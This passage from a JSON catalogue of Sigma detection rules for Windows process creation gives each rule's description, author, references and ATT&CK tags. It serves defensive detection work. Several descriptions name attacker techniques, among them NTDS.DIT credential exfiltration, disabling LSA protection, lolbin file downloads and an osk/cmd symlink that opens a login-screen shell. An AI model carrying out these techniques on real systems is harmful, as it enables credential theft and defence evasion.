          "https://lolbas-project.github.io/lolbas/Binaries/Unregmp2/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "727454c0-d851-48b0-8b89-385611ab0704",
      "value": "Lolbin Unregmp2.exe Use As Proxy"
    },
    {
      "description": "Detects suspicious process patterns used in NTDS.DIT exfiltration",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_ntds.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://pentestlab.blog/tag/ntds-dit/",
          "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1",
          "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/",
          "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1",
          "https://github.com/zcgonvh/NTDSDumpEx",
          "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration",
          "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8bc64091-6875-4881-aaf9-7bd25b5dda08",
      "value": "Suspicious Process Patterns NTDS.DIT Exfil"
    },
    {
      "description": "Detects the use of the redirection character \">\" to redicrect information in commandline",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/22",
        "falsepositive": [
          "Internet Download Manager extensions use named pipes and redirection via CLI. Filter it out if you use it in your environment"
        ],
        "filename": "proc_creation_win_cmd_redirect.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ss64.com/nt/syntax-redirection.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirect.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4f4eaa9f-5ad4-410c-a4be-bc6132b0175a",
      "value": "CMD Shell Output Redirect"
    },
    {
      "description": "Detects usage of the SysInternals Procdump utility",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/08/16",
        "falsepositive": [
          "Legitimate use of procdump by a developer or administrator"
        ],
        "filename": "proc_creation_win_sysinternals_procdump.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/sysinternals/downloads/procdump",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_procdump.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2e65275c-8288-4ab4-aeb7-6274f58b6b20",
      "value": "Procdump Execution"
    },
    {
      "description": "Detects the usage of the \"reg.exe\" utility to disable PPL protection on the LSA process",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_reg_lsa_ppl_protection_disabled.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsa_ppl_protection_disabled.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "824add00-99a1-4b15-9a2d-6c5683b7b497",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8c0eca51-0f88-4db2-9183-fdfb10c703f9",
      "value": "LSA PPL Protection Disabled Via Reg.EXE"
    },
    {
      "description": "Detects a Powershell process that contains download commands in its command line string",
      "meta": {
        "author": "Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_download_patterns.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3b6ab547-8ec2-4991-b9d2-2b06702a48d7",
      "value": "PowerShell Download Pattern"
    },
    {
      "description": "Detects usage of \"MSOHTMED\" to download arbitrary files",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_msohtmed_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/LOLBAS-Project/LOLBAS/pull/238/files",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msohtmed_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "459f2f98-397b-4a4a-9f47-6a5ec2f1c69d",
      "value": "Arbitrary File Download Via MSOHTMED.EXE"
    },
    {
      "description": "Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the \"HTTP\" and \"HTTPS\" protocols to point to the \"My Computer\" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/09/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_registry_ie_security_zone_protocol_defaults_downgrade.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/M_haggis/status/1699056847154725107",
          "https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries",
          "https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content",
          "https://twitter.com/JAMESWT_MHT/status/1699042827261391247",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_ie_security_zone_protocol_defaults_downgrade.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion"
        ]
      },
      "uuid": "10344bb3-7f65-46c2-b915-2d00d47be5b0",
      "value": "IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI"
    },
    {
      "description": "Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_inline_win_api_access.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/m417z/status/1566674631788007425",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_inline_win_api_access.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1106"
        ]
      },
      "related": [
        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ba3f5c1b-6272-4119-9dbd-0bc8d21c2702",
      "value": "Potential WinAPI Calls Via CommandLine"
    },
    {
      "description": "Detects the creation of a symbolic link between \"cmd.exe\" and the accessibility on-screen keyboard binary (osk.exe) using \"mklink\". This technique provides an elevated command prompt to the user from the login screen without the need to log in.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_mklink_osk_cmd.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ss64.com/nt/mklink.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1546.008/T1546.008.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_osk_cmd.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.t1546.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e9b61244-893f-427c-b287-3e708f321c6b",
      "value": "Potential Privilege Escalation Using Symlink Between Osk and Cmd"
    },
    {
      "description": "Detects the execution of \"wmic\" with the \"group\" flag.\nAdversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_recon_group.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_group.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1069.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "164eda96-11b2-430b-85ff-6a265c15bf32",
      "value": "Local Groups Reconnaissance Via Wmic.EXE"
    },
    {
      "description": "Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/10",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_powershell_get_localgroup_member_recon.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_localgroup_member_recon.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1087.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c8a180d6-47a3-4345-a609-53f9c3d834fc",
      "value": "Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet"
    },
    {
      "description": "Detects execution of \"findstr\" with specific flags and a remote share path. This specific set of CLI flags would allow \"findstr\" to download the content of the file located on the remote share as described in the LOLBAS entry.\n",
      "meta": {
        "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_findstr_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f",
          "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/",
          "https://lolbas-project.github.io/lolbas/Binaries/Findstr/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1564.004",
          "attack.t1552.001",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "587254ee-a24b-4335-b3cd-065c0f1f4baa",
      "value": "Remote File Download Via Findstr.EXE"
    },
    {
      "description": "Detects a JAVA process running with remote debugging allowing more than just localhost to connect",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_java_remote_debugging.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://dzone.com/articles/remote-debugging-java-applications-with-jdwp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_remote_debugging.yml"
        ],
        "tags": [
          "attack.t1203",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8f88e3f6-2a49-48f5-a5c4-2f7eedf78710",
      "value": "Java Running with Remote Debugging"
    },
    {
      "description": "Detects python spawning a pretty tty",
      "meta": {
        "author": "Nextron Systems",
        "creation_date": "2022/06/03",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_python_pty_spawn.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_python_pty_spawn.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "480e7e51-e797-47e3-8d72-ebfce65b6d8d",
      "value": "Python Spawning Pretty TTY on Windows"
    },
    {
      "description": "Detects the use of Replace.exe which can be used to replace file with another file",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_replace.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Replace/",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/replace",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9292293b-8496-4715-9db6-37028dcda4b3",
      "value": "Replace.exe Usage"
    },
    {
      "description": "Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/06/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_disable_ie_features.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_ie_features.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fb50eb7a-5ab1-43ae-bcc9-091818cb8424",
      "value": "Disabled IE Security Features"
    },
    {
      "description": "Detects the usage of the \"Squirrel.exe\" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2022/06/09",
        "falsepositive": [
          "Expected FP with some Electron based applications such as (1Clipboard, Beaker Browser, Caret, Discord, GitHub Desktop, etc.)"
        ],
        "filename": "proc_creation_win_squirrel_proxy_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/",
          "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_squirrel_proxy_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "45239e6a-b035-4aaf-b339-8ad379fcb67e",
      "value": "Process Proxy Execution Via Squirrel.EXE"
    },
    {
      "description": "Detects an svchost process spawning an instance of an office application. This happens when the initial word application creates an instance of one of the Office COM objects such as 'Word.Application', 'Excel.Application', etc.\nThis can be used by malicious actors to create malicious Office documents with macros on the fly. (See vba2clr project in the references)\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/13",
        "falsepositive": [
          "Legitimate usage of office automation via scripting"
        ],
        "filename": "proc_creation_win_office_svchost_parent.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/med0x2e/vba2clr",
          "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_svchost_parent.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion"
        ]
      },
      "uuid": "9bdaf1e9-fdef-443b-8081-4341b74a7e28",
      "value": "Suspicious New Instance Of An Office COM Object"
    },
    {
      "description": "Detect indirect command execution via Program Compatibility Assistant pcwrun.exe",
      "meta": {
        "author": "A. Sungurov , oscd.community",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts",
          "Legit usage of scripts"
        ],
        "filename": "proc_creation_win_lolbin_pcwrun.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/pabraeken/status/991335019833708544",
          "https://lolbas-project.github.io/lolbas/Binaries/Pcwrun/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b97cd4b1-30b8-4a9d-bd72-6293928d52bc",
      "value": "Indirect Command Execution By Program Compatibility Wizard"
    },
    {
      "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques",
      "meta": {
        "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Legitimate OpenVPN TAP insntallation"
        ],
        "filename": "proc_creation_win_tapinstall_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tapinstall_execution.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048"
        ]
      },
      "related": [
        {
          "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "99793437-3e16-439b-be0f-078782cf953d",
      "value": "Tap Installer Execution"
    },
    {
      "description": "Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Microsoft (idea)",
        "creation_date": "2022/08/04",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_iis_susp_module_registration.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_susp_module_registration.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1505.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "043c4b8b-3a54-4780-9682-081cb6b8185c",
      "value": "Suspicious IIS Module Registration"
    },
    {
      "description": "Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_copy_system_dir_lolbin.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/",
          "https://www.hybrid-analysis.com/sample/8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd?environmentId=120",
          "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir_lolbin.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f5d19838-41b5-476c-98d8-ba8af4929ee2",
      "value": "LOL-Binary Copied From System Directory"
    },
    {
      "description": "Detects base64 encoded \"MpPreference\" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_base64_mppreference.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://twitter.com/AdamTheAnalyst/status/1483497517119590403",
          "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_mppreference.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c6fb44c6-71f5-49e6-9462-1425d328aee3",
      "value": "Powershell Base64 Encoded MpPreference Cmdlet"
    },
    {
      "description": "This rule detects suspicious processes with parent images located in the C:\\Users\\Public folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_execution_from_public_folder_as_parent.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/blackbyte-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_from_public_folder_as_parent.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1564",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "69bd9b97-2be2-41b6-9816-fb08757a4d1a",
      "value": "Parent in Public Folder Suspicious Process"
    },
    {
      "description": "Detects the creation of a new service using powershell.",
      "meta": {
        "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2023/02/20",
        "falsepositive": [
          "Legitimate administrator or user creates a service for legitimate reasons.",
          "Software installation"
        ],
        "filename": "proc_creation_win_powershell_create_service.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_create_service.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c02e96b7-c63a-4c47-bd83-4a9f74afcfb2",
      "value": "New Service Creation Using PowerShell"
    },
    {
      "description": "The OpenWith.exe executes other binary",
      "meta": {
        "author": "Beyu Denis, oscd.community (rule), @harr0ey (idea)",
        "creation_date": "2019/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_openwith.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/harr0ey/status/991670870384021504",
          "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openwith.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cec8e918-30f7-4e2d-9bfa-a59cc97ae60f",
      "value": "OpenWith.exe Executes Specified Binary"
    },
    {
